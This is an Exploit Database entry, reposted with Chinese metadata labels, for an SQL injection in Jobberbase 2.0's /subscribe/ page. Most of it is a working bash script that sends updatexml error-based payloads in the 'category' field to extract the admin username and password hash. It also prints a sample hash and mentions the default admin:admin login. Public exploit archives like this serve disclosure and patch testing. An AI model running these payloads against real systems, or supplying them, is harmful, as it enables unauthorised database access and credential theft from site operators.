Jobberbase 2.0 – ‘subscribe’ SQL Injection

• Exploit Database
• 17 阅读

• 作者： Damian Ebelties
  日期： 2019-08-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47314/

• #!/bin/bash
  # Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection
  # Date: 29 August 2019
  # Exploit Author: Damian Ebelties (https://zerodays.lol/)
  # Vendor Homepage: http://www.jobberbase.com/
  # Version: 2.0
  # Tested on: Ubuntu 18.04.1
  
  : '
  
  The page "/subscribe/" is vulnerable for SQL injection.
  
  Simply make a POST request to /subscribe/ with the parameters:
   - email=jobber@zerodays.lol
   - category=1337<inject_here>
  
  You can use this script to verify if YOUR OWN instance is vulnerable.
  
  $ bash verify.sh http://localhost/jobberbase/
  admin:1a1dc91c907325c69271ddf0c944bc72
  
  '
  
  : 'Fetch the username'
  USERNAME=$(curl -s "$1/subscribe/" \
  -d "email=jobber@zerodays.lol" \
  -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \
  -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
  
  : 'Ugly way to fetch the password hash'
  PASS=$(curl -s "$1/subscribe/" \
  -d "email=jobber@zerodays.lol" \
  -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \
  -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
  WORD=$(curl -s "$1/subscribe/" \
  -d "email=jobber@zerodays.lol" \
  -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \
  -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
  
  : 'Print the user:hash (note: default login is admin:admin)'
  echo -e "$USERNAME:$PASS$WORD"